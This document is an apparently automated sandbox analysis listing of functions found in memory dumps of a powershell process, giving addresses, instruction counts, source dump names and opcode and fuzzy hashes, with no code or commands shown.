                              • API String ID: 0-1889935346
                              • Opcode ID: e4e9f97cab10f720285eeb312fd561ffbe3dfbf624481774d878c3d710b00352
                              • Instruction ID: 7419ad9086692bab4eb34026b4f9cc506bd0c5a495e1476389cf061464171b8c
                              • Opcode Fuzzy Hash: e4e9f97cab10f720285eeb312fd561ffbe3dfbf624481774d878c3d710b00352
                              • Instruction Fuzzy Hash: A0F046312149444FC761F738D884AEA73D9DB8A324F010A5AE10ACB2A2EE306C8183A2
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 012545A0 Relevance: 1.3, Strings: 1, Instructions: 29COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: $,am
                              • API String ID: 0-1889935346
                              • Opcode ID: ee53d5bddb90c9ad06ab5fb75e940cdf74e73136865c2c56388393a52e809ce6
                              • Instruction ID: 6bbb42ab7863a6a5051aec459ceeec69c7d9cde9a30bd23266aef48cec364635
                              • Opcode Fuzzy Hash: ee53d5bddb90c9ad06ab5fb75e940cdf74e73136865c2c56388393a52e809ce6
                              • Instruction Fuzzy Hash: D2F08C352005049FC6A4EB79D484ADAB3DAEBC9714F010869E20ACB361DE20AC4187A2
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 012545A2 Relevance: 1.3, Strings: 1, Instructions: 28COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: $,am
                              • API String ID: 0-1889935346
                              • Opcode ID: 05008d767c086630282a5aea88075c1d1b51cb9b79689876b96693def67849f2
                              • Instruction ID: c8f21d9ff36522b8578ac06ed41ab2137ac2a5d51c61e326c819d019e46b9032
                              • Opcode Fuzzy Hash: 05008d767c086630282a5aea88075c1d1b51cb9b79689876b96693def67849f2
                              • Instruction Fuzzy Hash: D9F01C352104009FC6A4EB78D484AEA73DAEBC9715F014969E20ACB761DE206C4587A2
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 01253820 Relevance: .3, Instructions: 322COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: a11f65c2c8779ab016bcf95142bec002dd2ddf7ad2759d12a9fbe49980bff895
                              • Instruction ID: b43651fb467b275d7ab5d25aacd7828d8961cdc81efc2b0a610539f11f29e929
                              • Opcode Fuzzy Hash: a11f65c2c8779ab016bcf95142bec002dd2ddf7ad2759d12a9fbe49980bff895
                              • Instruction Fuzzy Hash: 8CE149346042098FDB19EFA0D491AEE7777EF95304F109879D0026B796CF7AAD42CBA1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 01253830 Relevance: .3, Instructions: 316COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 6a6e32dc0e77be1d5e5d180bb3d7e590299ec5e0c0908139e78984b9a3dbd0f4
                              • Instruction ID: 3a33404a7603538529ea80490dc8ed0a01ca12f481dd8d62116f16982bcec992
                              • Opcode Fuzzy Hash: 6a6e32dc0e77be1d5e5d180bb3d7e590299ec5e0c0908139e78984b9a3dbd0f4
                              • Instruction Fuzzy Hash: 4FD149346042098FDB19EFA0D491AEE7777EF95304F109879D0026B796CF7AA942CBA1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C5588 Relevance: .3, Instructions: 309COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 9305d73d6081d60c98c5eab64ee8c0088340c3e20a6a49c5980edf0b81f5c852
                              • Instruction ID: fd8ca331012b6be1053f3fb535b24a2f82b19a8142126aac78ce8a4aadaa84bf
                              • Opcode Fuzzy Hash: 9305d73d6081d60c98c5eab64ee8c0088340c3e20a6a49c5980edf0b81f5c852
                              • Instruction Fuzzy Hash: EAC1AE70A04605ABCB04EF79E4C59ADBBA7FF84308B44C92DE4168B794DF71AC49CB91
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C5578 Relevance: .3, Instructions: 271COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: c4bd18b89dc62d9450d176cdabffe92487a46648f7efb881005dd69b42835e09
                              • Instruction ID: 10008b1dfaabb0575894d15ec82817406ff3e2943e986149752584e02a038ed5
                              • Opcode Fuzzy Hash: c4bd18b89dc62d9450d176cdabffe92487a46648f7efb881005dd69b42835e09
                              • Instruction Fuzzy Hash: A2B19D70A04606EFDB00DF69D4C5AA9BBB7FF84308B44C91DE4168B395DB71AC49CB90
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 01254CA9 Relevance: .3, Instructions: 268COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: b818162f178d3c44f5eee5a4e4861602692a20b2977dd18255f1fd3edba77bb5
                              • Instruction ID: 2a342a191550bdc688c650b5f0b798542a96dfc7064f92746fe63ac0e86380c9
                              • Opcode Fuzzy Hash: b818162f178d3c44f5eee5a4e4861602692a20b2977dd18255f1fd3edba77bb5
                              • Instruction Fuzzy Hash: C4B18C786005049FDB84EFA4D994BAE77B2EF99301F118078E601BB396CF35AD058F66
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C0648 Relevance: .3, Instructions: 260COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 9ed1e3ccb3a5157891702ec840aae44298d2017635f55c6f2513e6225a594482
                              • Instruction ID: 5e543a313f15ffeee391d9e83baeb554ee2db2e59fd8f0cece06b94e5bb14c7c
                              • Opcode Fuzzy Hash: 9ed1e3ccb3a5157891702ec840aae44298d2017635f55c6f2513e6225a594482
                              • Instruction Fuzzy Hash: A3A15C70A0070AAFCB14DFA5C881A9EB7B6FF85308B508D6DD5059B355EB70A906CBD1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 01254CB8 Relevance: .3, Instructions: 260COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 1178e7b5388533cc0237c65d703e3662c5604398232f6f8062af56091e4299b1
                              • Instruction ID: 7c1247fc2ba3577bac69bccd1812ed741a9e54fb3d917340ab5f901b44bc69ca
                              • Opcode Fuzzy Hash: 1178e7b5388533cc0237c65d703e3662c5604398232f6f8062af56091e4299b1
                              • Instruction Fuzzy Hash: 79B17B786005049FDB84EFA4D954BAE77B2EF99301F118478E602BB396CF35AD018F66
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C3E50 Relevance: .3, Instructions: 258COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 06c3ffff1b790b3548ea0444d47c86cd49155878c5cfeaab1b5ee8ac9442073c
                              • Instruction ID: 3ea5ce3fb1e569ac9b30177c1a8383aa40082f4596bb3a08964fd64e94837473
                              • Opcode Fuzzy Hash: 06c3ffff1b790b3548ea0444d47c86cd49155878c5cfeaab1b5ee8ac9442073c
                              • Instruction Fuzzy Hash: 4BA1A271115B018BC720EF65D095A6A7BABEB85320F24CE1DE1A78B7D0CF38E8464792
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 012530D0 Relevance: .3, Instructions: 255COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: d0b900e0be6517657031b96db73713abfa1332db5e3c37d9b09d7efab30b18eb
                              • Instruction ID: 0eb90ec12d37001ce9a52e01624d860d6d0d7580d45489a0380ff4807f0aa3ab
                              • Opcode Fuzzy Hash: d0b900e0be6517657031b96db73713abfa1332db5e3c37d9b09d7efab30b18eb
                              • Instruction Fuzzy Hash: A2B18E34E152089FDB05DFA8C490AEDBBF2FF89314F1484A9D805AB356CB71AD45CBA0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C3E60 Relevance: .2, Instructions: 249COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 67cbcc61153c05e27b19021d1259f41352fdd0d6a4e92282dd1280d24b668a00
                              • Instruction ID: 63cec573f3cd268f8f6f9a882ee3c8a27d2523c4c23ce77197471c72d8aba6c0
                              • Opcode Fuzzy Hash: 67cbcc61153c05e27b19021d1259f41352fdd0d6a4e92282dd1280d24b668a00
                              • Instruction Fuzzy Hash: D9A1A3B1115B018BC720EF79D095A6E7A9BEB85320F25CE1CE1A78B7D0CF34E8464791
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 012530C0 Relevance: .2, Instructions: 248COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 091fba6e68dd91bc72c5fd0bdc028100f08db57bca8219f5b79bc637a7d31a72
                              • Instruction ID: 76e18f04a6ba0a536447a300f7842fbc70f80ad579bbad85668fe9564c49a8ce
                              • Opcode Fuzzy Hash: 091fba6e68dd91bc72c5fd0bdc028100f08db57bca8219f5b79bc637a7d31a72
                              • Instruction Fuzzy Hash: F7A18E74E112089FDB05DFA8C480AEDBBF6FF89354F148469D801AB356CB75AD85CBA0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C15E8 Relevance: .2, Instructions: 232COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 23b01714e9fe681c5d8cb4853476bb5ea908ac334b665a595a8fa759c9fd05ea
                              • Instruction ID: 2b860b831a14a6fc16f9d31cc537994000328dbdee9c070b84b92b0437451ae0
                              • Opcode Fuzzy Hash: 23b01714e9fe681c5d8cb4853476bb5ea908ac334b665a595a8fa759c9fd05ea
                              • Instruction Fuzzy Hash: 1A81F0B0A042199FCB14DFA4D914AEEBBBAAF8C354F54843DE505A7342DB359D02CBA1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C0A30 Relevance: .2, Instructions: 197COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 7548257279bc8696865ffd220cf6d50c00ead4d21e986f55de1475937316f0d5
                              • Instruction ID: 28d5f671ca8f3d3466be0016db077f6eb4ad0ed16b2d581e7aac9d1a532dc5ec
                              • Opcode Fuzzy Hash: 7548257279bc8696865ffd220cf6d50c00ead4d21e986f55de1475937316f0d5
                              • Instruction Fuzzy Hash: 4C61DD71704205ABCB14DB69D8409AEB7AAEFC5354B10892DE516CB390EF70ED06CBE1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C4F78 Relevance: .2, Instructions: 196COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: e75837a68a4f331ce10720c71cc37102b7074e0ba4c32fcaa2bdde9ad2641558
                              • Instruction ID: c38cf8059a8061bc912ff941ca60ec7b6f2f220770df86e7521a420de5547fc9
                              • Opcode Fuzzy Hash: e75837a68a4f331ce10720c71cc37102b7074e0ba4c32fcaa2bdde9ad2641558
                              • Instruction Fuzzy Hash: E34102F20459DA47F321C924E85D1C97FE8E64C7E2F28151FC861CE151E63391D24BE2
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 01250DBF Relevance: .2, Instructions: 158COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: cb1dad25d4c69b0e88f202c3d19a5cd74e70b0756922cff41d69ba41ca19a871
                              • Instruction ID: 52c7f0c19a8956672ecdaf26096f66b5f90c188e533aa45100ce74630a4e5e8f
                              • Opcode Fuzzy Hash: cb1dad25d4c69b0e88f202c3d19a5cd74e70b0756922cff41d69ba41ca19a871
                              • Instruction Fuzzy Hash: EF51D030A107098FDB10EFB8D889BEE77B2FF85304F108569E905AB294DF749985CB91
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 01250DD0 Relevance: .2, Instructions: 155COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 526e828cf16ce7ace858fb606029da4cb50768dac005439ea6ce61c0f304caae
                              • Instruction ID: 69f562117930c2f58f6dc4e6bd3dd8dc2f78d46c399735fb2cc00659996c6c7b
                              • Opcode Fuzzy Hash: 526e828cf16ce7ace858fb606029da4cb50768dac005439ea6ce61c0f304caae
                              • Instruction Fuzzy Hash: 9B51E230A107048FDB14AFB4D8897EE77B2FF88304F108969E505AB395EF759985CB51
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077CD5A0 Relevance: .1, Instructions: 141COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: adb6c0ea496be43c12d8ed565771596bb8a4b844f18d7d8c110806d647f46737
                              • Instruction ID: 74c5626b0b98aa424f70ea87cbfce0073f160275689bf9070b936e4a09f05cf6
                              • Opcode Fuzzy Hash: adb6c0ea496be43c12d8ed565771596bb8a4b844f18d7d8c110806d647f46737
                              • Instruction Fuzzy Hash: 9B5192B0305701ABD324EB34D841B6AB7A6EFC5324F608E2DD1578B7D1CB75E8068BA1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077CD5B0 Relevance: .1, Instructions: 137COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 2c0425678b4fadb0ee15451316a03ce5c713d9e17ec7c4be95bdc72aaa2add35
                              • Instruction ID: 8445f7a7ee80c42e567fec8e56ed3741eeaeb090e07f2be945fbd0c32785d37d
                              • Opcode Fuzzy Hash: 2c0425678b4fadb0ee15451316a03ce5c713d9e17ec7c4be95bdc72aaa2add35
                              • Instruction Fuzzy Hash: F541A3B0305701ABD320EB74D841B6A7796EBC5324F608E2DD1178B7D0CB75E8058BA1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 01254600 Relevance: .1, Instructions: 131COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 221bb3f392266502db2fd2cc75359856e3140c426a14f1e6b7e3fb6784ec8069
                              • Instruction ID: 2dea507105332c7ebdc83381587e3fc0be44745d228007efcf196fea0a02e7e1
                              • Opcode Fuzzy Hash: 221bb3f392266502db2fd2cc75359856e3140c426a14f1e6b7e3fb6784ec8069
                              • Instruction Fuzzy Hash: 8041DC34A106458FDB55DF68C480AAAF7F2FF89314B158969C9599B352EB30EC81CB90
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 01255701 Relevance: .1, Instructions: 117COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: c2e3eeb4229ece5cf66ebcf1184a0e8c602b856fa8f9e768a8169a27aa14a122
                              • Instruction ID: e0dd129941533d0575e16eb4b58ac1fad15eaac163db08dde1f7ee451f154fd4
                              • Opcode Fuzzy Hash: c2e3eeb4229ece5cf66ebcf1184a0e8c602b856fa8f9e768a8169a27aa14a122
                              • Instruction Fuzzy Hash: 2E4159743106018FC748EF38E488A6977E6FF89319B1445A9E40ACB3A6DB71EC46CB91
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0125ACE0 Relevance: .1, Instructions: 115COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: f18c88984aac3d9d45179b4c6941801442360121e757ef93ba9d03555ae75e7a
                              • Instruction ID: eb6a27a24c848145ac876c3ba1ff9c814b7b17fe30f41faf238fabc7edfff93e
                              • Opcode Fuzzy Hash: f18c88984aac3d9d45179b4c6941801442360121e757ef93ba9d03555ae75e7a
                              • Instruction Fuzzy Hash: 4441CA74D052588FCB14DFA9D881BEEBFF5AF89310F18856AD904BB341CB789944CBA1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C0639 Relevance: .1, Instructions: 106COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 4648b8d487ff00943605176ac765fa0be6dc1ff3edba1ab53629ca586b9b3ec4
                              • Instruction ID: 748ae0edfee52eb23a906f85985219f61488e18cabf96bf81fbda228d813ee60
                              • Opcode Fuzzy Hash: 4648b8d487ff00943605176ac765fa0be6dc1ff3edba1ab53629ca586b9b3ec4
                              • Instruction Fuzzy Hash: 45415F7060070A9FC754EFA5C8819DAB7A9FFC4308B808D6DD5068B765EB70B905CBE1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C2BAF Relevance: .1, Instructions: 105COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 92895736a66caf2f750c124bd65b1453c1c0da0ecc4f4091853b030469fbb71f
                              • Instruction ID: 1c6bb7ac1d33241ab0ea3381be06b762b2c97ac4cb7be5ccf79b4c12db12175c
                              • Opcode Fuzzy Hash: 92895736a66caf2f750c124bd65b1453c1c0da0ecc4f4091853b030469fbb71f
                              • Instruction Fuzzy Hash: 12417CB1900709AFCB14DFA4C48099EBBB6FF89304B10895DE905AB715DB70AD46CBD0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C0489 Relevance: .1, Instructions: 100COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: e4ba1b92f9d15c759159614411819f99f368a6420ae99b24ec1dd0af4da28491
                              • Instruction ID: a2efbc978eed991cde81256645a7d8c0729fea856c09b57b18be36e1b1acfbd5
                              • Opcode Fuzzy Hash: e4ba1b92f9d15c759159614411819f99f368a6420ae99b24ec1dd0af4da28491
                              • Instruction Fuzzy Hash: 2C316DB1A0034ADFCB14DFA5D8946DEBBB2BF89354F10842DD806AB390DB749985CF90
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 01251760 Relevance: .1, Instructions: 99COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 2f92e72fcf46053e98198c129929ce4e428308975089c21bf5b39f44080b40e9
                              • Instruction ID: dadab0df48d8e33c547a9d39f380bb44c058f904024e65b6d6be735845b25f96
                              • Opcode Fuzzy Hash: 2f92e72fcf46053e98198c129929ce4e428308975089c21bf5b39f44080b40e9
                              • Instruction Fuzzy Hash: D831D630A142058BE768DF78C499BFE7BF2EF85304F144869D901AB285DF798911CBA1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0125A8C8 Relevance: .1, Instructions: 95COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 4e66515f7667dc50d37f15c43bb31cbdacfe280618dd8cc62cd6d6455e5418c8
                              • Instruction ID: b7bebdaa0de97f2aa8db75ad15d147c98bd123166a076a08bf1abc6a0fcc85a0
                              • Opcode Fuzzy Hash: 4e66515f7667dc50d37f15c43bb31cbdacfe280618dd8cc62cd6d6455e5418c8
                              • Instruction Fuzzy Hash: FB3158387286129FDB199734D4A177E7BA3AFC4309F16862DDA068B2C8DF758C4687C1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C1F88 Relevance: .1, Instructions: 94COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 9174835d102722026f51b8b9cb41ae28d6cb6bb3f99cbf930832b618497627e6
                              • Instruction ID: e03ca1e13f13b10203081f0db67bffbcb2859cde42ea62f7c47d333c2f990777
                              • Opcode Fuzzy Hash: 9174835d102722026f51b8b9cb41ae28d6cb6bb3f99cbf930832b618497627e6
                              • Instruction Fuzzy Hash: D531E2B5701206DFCB24DF69D444AAAB7B9FF88365B14C97EDA1983701D731E842CBA0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C2A80 Relevance: .1, Instructions: 88COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 4c0a244b7d5a879a0da1ebe1406335facaa3d1723e19fcedc835d4a5faa5b665
                              • Instruction ID: 80791d5cebd317023849b4b4bc6c8ec8a4538633f0be7709112942d0caa91c8d
                              • Opcode Fuzzy Hash: 4c0a244b7d5a879a0da1ebe1406335facaa3d1723e19fcedc835d4a5faa5b665
                              • Instruction Fuzzy Hash: D0318F70D00709AFCB14DFA4C48099EBBB6FF89354F10892DE905AB255EB71A946CB90
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 01252290 Relevance: .1, Instructions: 73COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 1ad14dd4633792f479f2442f6a3ac63cf9094e9e1960a0d3440295de309a7bbe
                              • Instruction ID: 820f453ddbe93aac3472a8c9b256622a24fc0aed54033aace6ecfe91c2d5b780
                              • Opcode Fuzzy Hash: 1ad14dd4633792f479f2442f6a3ac63cf9094e9e1960a0d3440295de309a7bbe
                              • Instruction Fuzzy Hash: 9E21D130920249DFDB54DB78C894BEE7BF5AF84304F440869DA01BB292DB746E01CBB2
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0125AD6B Relevance: .1, Instructions: 73COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: bedea3fcace39878d2c4ca9b92c6d9f484810ccc103041049286c9a831b7f6ee
                              • Instruction ID: a9d2f92db7103462ddd0115b70521df9fb641374ae0f0b2e46e540ed9a9b8e7c
                              • Opcode Fuzzy Hash: bedea3fcace39878d2c4ca9b92c6d9f484810ccc103041049286c9a831b7f6ee
                              • Instruction Fuzzy Hash: 23218874D052589FCB14CFA8D8817DEBFB4EF49310F18846AD908EB241DB385944CBA2
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C1F79 Relevance: .1, Instructions: 66COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
